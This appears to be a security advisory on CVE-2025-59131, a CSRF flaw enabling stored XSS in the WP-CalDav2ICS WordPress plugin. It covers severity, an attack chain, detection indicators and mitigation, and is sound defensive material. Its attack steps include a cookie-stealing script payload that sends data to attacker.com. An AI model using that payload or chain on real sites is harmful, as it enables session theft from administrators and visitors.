CVE-2025-59131: 
WordPress vulnerability analysis and mitigation

CVE-2025-59131 is a Cross-Site Request Forgery (CSRF) vulnerability in the WP-CalDav2ICS WordPress plugin developed by Hoernerfranz that enables Stored Cross-Site Scripting (XSS) attacks. It affects all versions of the plugin up to and including 1.3.4, with no official patch available at the time of disclosure. The vulnerability was reported by Muhammad Nur Ibnu Hubab on October 29, 2025, and published by Patchstack on December 30, 2025. It carries a CVSS v3.1 base score of 7.1 (High) (Patchstack, Red Hat CVE).

The vulnerability is classified as CWE-352 (Cross-Site Request Forgery) and allows an unauthenticated attacker to craft a malicious request that, when executed by an authenticated privileged user (e.g., an administrator), stores malicious JavaScript in the WordPress site — a Stored XSS attack chain. The attack vector is network-based, requires no privileges from the attacker, but does require user interaction (a privileged user must be tricked into triggering the forged request, such as by visiting a crafted page or clicking a malicious link). The CSRF flaw likely stems from missing or improperly validated nonce checks on plugin settings or data-saving endpoints, which is a common pattern in WordPress plugin vulnerabilities (Patchstack).

Successful exploitation allows an attacker to store malicious scripts within the WordPress site, which are then executed in the browsers of other users visiting affected pages — a Stored XSS impact with changed scope. This can result in session hijacking, credential theft, defacement, or further malicious actions performed on behalf of authenticated users, affecting confidentiality, integrity, and availability at a low-to-moderate level across the site's scope. The CVSS scope is marked as Changed, indicating that the impact extends beyond the vulnerable component itself to the broader WordPress environment and its visitors (Patchstack, Red Hat CVE).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for CVE-2025-59131. The EPSS score is approximately 0.014% (0.000140), indicating a very low probability of exploitation in the near term. Patchstack classifies this as low priority and notes it is unlikely to be exploited, though they acknowledge that CSRF vulnerabilities of this type are sometimes used in mass-exploit campaigns targeting WordPress plugins at scale (Patchstack). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

1. Reconnaissance: Identify WordPress sites running the WP-CalDav2ICS plugin version 1.3.4 or earlier, using tools like WPScan or by checking publicly accessible plugin metadata (e.g., /wp-content/plugins/wp-caldav2ics/readme.txt).
2. Craft malicious CSRF payload: Create an HTML page or form that submits a forged POST request to the vulnerable plugin endpoint (e.g., a settings-saving action), embedding a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) in a plugin input field.
3. Deliver to privileged user: Trick a logged-in WordPress administrator into visiting the attacker-controlled page (via phishing email, malicious link, or social engineering), causing their browser to automatically submit the forged request with their authenticated session.
4. Stored XSS persists: The malicious script is saved to the WordPress database via the CSRF-triggered request and is subsequently served to any user visiting the affected page or plugin output.
5. Harvest results: The stored XSS payload executes in victims' browsers, enabling session cookie theft, credential harvesting, or further site compromise (Patchstack).

• Logs: WordPress access logs showing unexpected POST requests to plugin-related admin endpoints (e.g., wp-admin/admin-post.php or wp-admin/options.php) from unusual referrers or external origins.
• Database: Unexpected JavaScript content (e.g., <script> tags, encoded payloads) stored in WordPress options or plugin-specific database tables associated with WP-CalDav2ICS settings.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after visiting pages that render WP-CalDav2ICS output, potentially indicating active XSS payload execution.
• File System: Unexpected modifications to plugin configuration files or WordPress options table entries related to the WP-CalDav2ICS plugin.

As of the disclosure date (December 30, 2025), no official patch has been released by the plugin developer for WP-CalDav2ICS. The primary recommended action is to deactivate and remove the WP-CalDav2ICS plugin until a patched version is available. WordPress site administrators can also use a Web Application Firewall (WAF) solution such as Patchstack to virtually patch the vulnerability and block exploitation attempts in the interim. Restricting access to WordPress admin areas and ensuring administrators are cautious about clicking unsolicited links can reduce the risk of CSRF exploitation (Patchstack).

Patchstack, which discovered and disclosed the vulnerability through researcher Muhammad Nur Ibnu Hubab, classified it as low priority with unlikely exploitation impact. The vulnerability received standard automated coverage from vulnerability aggregators and security feeds but no notable commentary from prominent security researchers or significant media coverage beyond routine CVE publication (Patchstack).